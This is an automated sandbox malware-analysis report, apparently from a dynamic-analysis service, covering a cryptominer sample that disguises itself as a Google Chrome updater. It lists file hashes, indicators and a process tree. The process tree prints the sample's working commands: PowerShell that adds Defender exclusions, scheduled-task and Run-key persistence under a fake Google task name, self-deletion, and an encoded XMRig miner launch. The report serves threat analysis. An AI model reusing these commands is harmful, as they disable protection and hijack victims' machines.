Overview
overview
10Static
static
3QNREJhVYDhHk52cq3.exe
windows7-x64
10QNREJhVYDhHk52cq3.exe
windows10-2004-x64
10RmJBfzgfbWELMdgn.exe
windows7-x64
10RmJBfzgfbWELMdgn.exe
windows10-2004-x64
10TTVw7dDmSpz5mwee.exe
windows7-x64
10TTVw7dDmSpz5mwee.exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10Resubmissions
16/01/2024, 20:08
240116-yw2hnahhck 1024/12/2023, 12:16
231224-pfpz9abhcp 1028/08/2023, 15:19
230828-sqmvesca87 1026/08/2023, 15:20
230826-sqz5radd21 1020/08/2023, 00:19
230820-amltvacg48 1020/08/2023, 00:19
230820-amkxjscg46 1020/08/2023, 00:18
230820-al4y2aec9v 1020/08/2023, 00:18
230820-al4m9scg45 1020/08/2023, 00:18
230820-al32qscg44 1020/08/2023, 00:18
230820-al3e7sec9t 10Analysis
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max time kernel
590s -
max time network
1964s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
24/12/2023, 12:16
Static task
static1
Behavioral task
behavioral1
Sample
QNREJhVYDhHk52cq3.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
QNREJhVYDhHk52cq3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
RmJBfzgfbWELMdgn.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
RmJBfzgfbWELMdgn.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
TTVw7dDmSpz5mwee.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
TTVw7dDmSpz5mwee.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e(6).exe
Resource
win7-20231215-en
General
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Target
qM5GMXBk6hJE6Y5e (4).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2144 created 1212 2144 qM5GMXBk6hJE6Y5e (4).exe 12 PID 2144 created 1212 2144 qM5GMXBk6hJE6Y5e (4).exe 12 PID 2144 created 1212 2144 qM5GMXBk6hJE6Y5e (4).exe 12 PID 2144 created 1212 2144 qM5GMXBk6hJE6Y5e (4).exe 12 PID 2656 created 1212 2656 updater.exe 12 PID 2656 created 1212 2656 updater.exe 12 PID 2656 created 1212 2656 updater.exe 12 PID 2656 created 1212 2656 updater.exe 12 PID 2840 created 1212 2840 conhost.exe 12 PID 2656 created 1212 2656 updater.exe 12 -
XMRig Miner payload 27 IoCs
resource yara_rule behavioral11/memory/936-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/936-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2932 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2656 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2368 taskeng.exe -
resource yara_rule behavioral11/memory/936-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/936-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2656 set thread context of 2840 2656 updater.exe 50 PID 2656 set thread context of 936 2656 updater.exe 52 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (4).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2056 schtasks.exe 2132 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2636 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0eee85f7a36da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2144 qM5GMXBk6hJE6Y5e (4).exe 2144 qM5GMXBk6hJE6Y5e (4).exe 1264 powershell.exe 2144 qM5GMXBk6hJE6Y5e (4).exe 2144 qM5GMXBk6hJE6Y5e (4).exe 2028 powershell.exe 2144 qM5GMXBk6hJE6Y5e (4).exe 2144 qM5GMXBk6hJE6Y5e (4).exe 2144 qM5GMXBk6hJE6Y5e (4).exe 2144 qM5GMXBk6hJE6Y5e (4).exe 2264 powershell.exe 2656 updater.exe 2656 updater.exe 1760 powershell.exe 2656 updater.exe 2656 updater.exe 2800 powershell.exe 2656 updater.exe 2656 updater.exe 2656 updater.exe 2656 updater.exe 2840 conhost.exe 2840 conhost.exe 2656 updater.exe 2656 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 468 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 1264 powershell.exe Token: SeDebugPrivilege 2028 powershell.exe Token: SeDebugPrivilege 2264 powershell.exe Token: SeDebugPrivilege 1760 powershell.exe Token: SeDebugPrivilege 2800 powershell.exe Token: SeDebugPrivilege 2656 updater.exe Token: SeAssignPrimaryTokenPrivilege 2636 WMIC.exe Token: SeIncreaseQuotaPrivilege 2636 WMIC.exe Token: SeSecurityPrivilege 2636 WMIC.exe Token: SeTakeOwnershipPrivilege 2636 WMIC.exe Token: SeLoadDriverPrivilege 2636 WMIC.exe Token: SeSystemtimePrivilege 2636 WMIC.exe Token: SeBackupPrivilege 2636 WMIC.exe Token: SeRestorePrivilege 2636 WMIC.exe Token: SeShutdownPrivilege 2636 WMIC.exe Token: SeSystemEnvironmentPrivilege 2636 WMIC.exe Token: SeUndockPrivilege 2636 WMIC.exe Token: SeManageVolumePrivilege 2636 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2636 WMIC.exe Token: SeIncreaseQuotaPrivilege 2636 WMIC.exe Token: SeSecurityPrivilege 2636 WMIC.exe Token: SeTakeOwnershipPrivilege 2636 WMIC.exe Token: SeLoadDriverPrivilege 2636 WMIC.exe Token: SeSystemtimePrivilege 2636 WMIC.exe Token: SeBackupPrivilege 2636 WMIC.exe Token: SeRestorePrivilege 2636 WMIC.exe Token: SeShutdownPrivilege 2636 WMIC.exe Token: SeSystemEnvironmentPrivilege 2636 WMIC.exe Token: SeUndockPrivilege 2636 WMIC.exe Token: SeManageVolumePrivilege 2636 WMIC.exe Token: SeLockMemoryPrivilege 936 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2028 wrote to memory of 2056 2028 powershell.exe 31 PID 2028 wrote to memory of 2056 2028 powershell.exe 31 PID 2028 wrote to memory of 2056 2028 powershell.exe 31 PID 2264 wrote to memory of 1360 2264 powershell.exe 35 PID 2264 wrote to memory of 1360 2264 powershell.exe 35 PID 2264 wrote to memory of 1360 2264 powershell.exe 35 PID 2932 wrote to memory of 2308 2932 cmd.exe 37 PID 2932 wrote to memory of 2308 2932 cmd.exe 37 PID 2932 wrote to memory of 2308 2932 cmd.exe 37 PID 2368 wrote to memory of 2656 2368 taskeng.exe 39 PID 2368 wrote to memory of 2656 2368 taskeng.exe 39 PID 2368 wrote to memory of 2656 2368 taskeng.exe 39 PID 2800 wrote to memory of 2132 2800 powershell.exe 44 PID 2800 wrote to memory of 2132 2800 powershell.exe 44 PID 2800 wrote to memory of 2132 2800 powershell.exe 44 PID 2656 wrote to memory of 2840 2656 updater.exe 50 PID 2572 wrote to memory of 2636 2572 cmd.exe 48 PID 2572 wrote to memory of 2636 2572 cmd.exe 48 PID 2572 wrote to memory of 2636 2572 cmd.exe 48 PID 2656 wrote to memory of 936 2656 updater.exe 52 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1212
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2144
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1264
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2056
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2264 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1360
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2932 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2308
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1760
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2132
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2568
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2572
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2840
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:936
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C:\Windows\system32\taskeng.exetaskeng.exe {DCC8C5A9-552F-4CD4-977A-F6D813F2DA26} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2656
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2636
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
99KB
MD5605517f4855ce0ab5ee048da4ef31598
SHA17f04d2b34bd92672de7f7d9bb509b4ed2fd14748
SHA2565e410a969152cb19c5d62f8130561dcf12b80153c13bb0b49e6351cde390e00f
SHA51259361668b88e540a67999778d6fe25bd43fcbb8b7a2671b491ea8bdd57ab51add0aa996f0829795bad8dd599eff54fe25d498302801a2963a76a199b4e818f34
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Filesize
974KB
MD5b7874d40ae77511acd749ab428d9e565
SHA1c248042a7368e43218996b2d6ba5b2bcc2afbee7
SHA256e09e766c05ee0c27338b0279420fd3cb93dec7af9cc0a33225daec10586853d1
SHA512b12cce466c9592341f45697a9372dae520baabf71cd703783488ba3e9419e3aa625b9c9c6b3cf22136483cda2c9ddf27a80416aed5b38367af6e2b78f3e9f31b
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD581dc89952cfd8bce7706ae342341be12
SHA10a9dcfce91123ab5059361923426ad9249e88534
SHA256f8b4b68974e0275c102588874fcd41d88cc60eea1d61694c027c89367d4baeb2
SHA5126ef8c3ec5399629d7510592d075c5b153fc51b5308f59da912fb23247a884ea4e2d354c1d017c7bfb8b7866ee5558dd35607b6c0654f059fbca6456a523bfd1d
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Filesize
312KB
MD5b3928b29808db9b4cf883c459c58e75f
SHA134c75f31b2f64bdcaf9ff098c7c1b6f0a0b061c0
SHA256a077ce1bd79700d98ad5cf7a7e699f53e19a10036d537b9d36ad95f605392418
SHA5128550d931660991428e95509a291b6a12dbdbc844a4b75acf9b91a8419a5435d7b13115e29a2cf8c840c000b5cf8730b5ed91ac6a683b9b1cf720d066e93a6529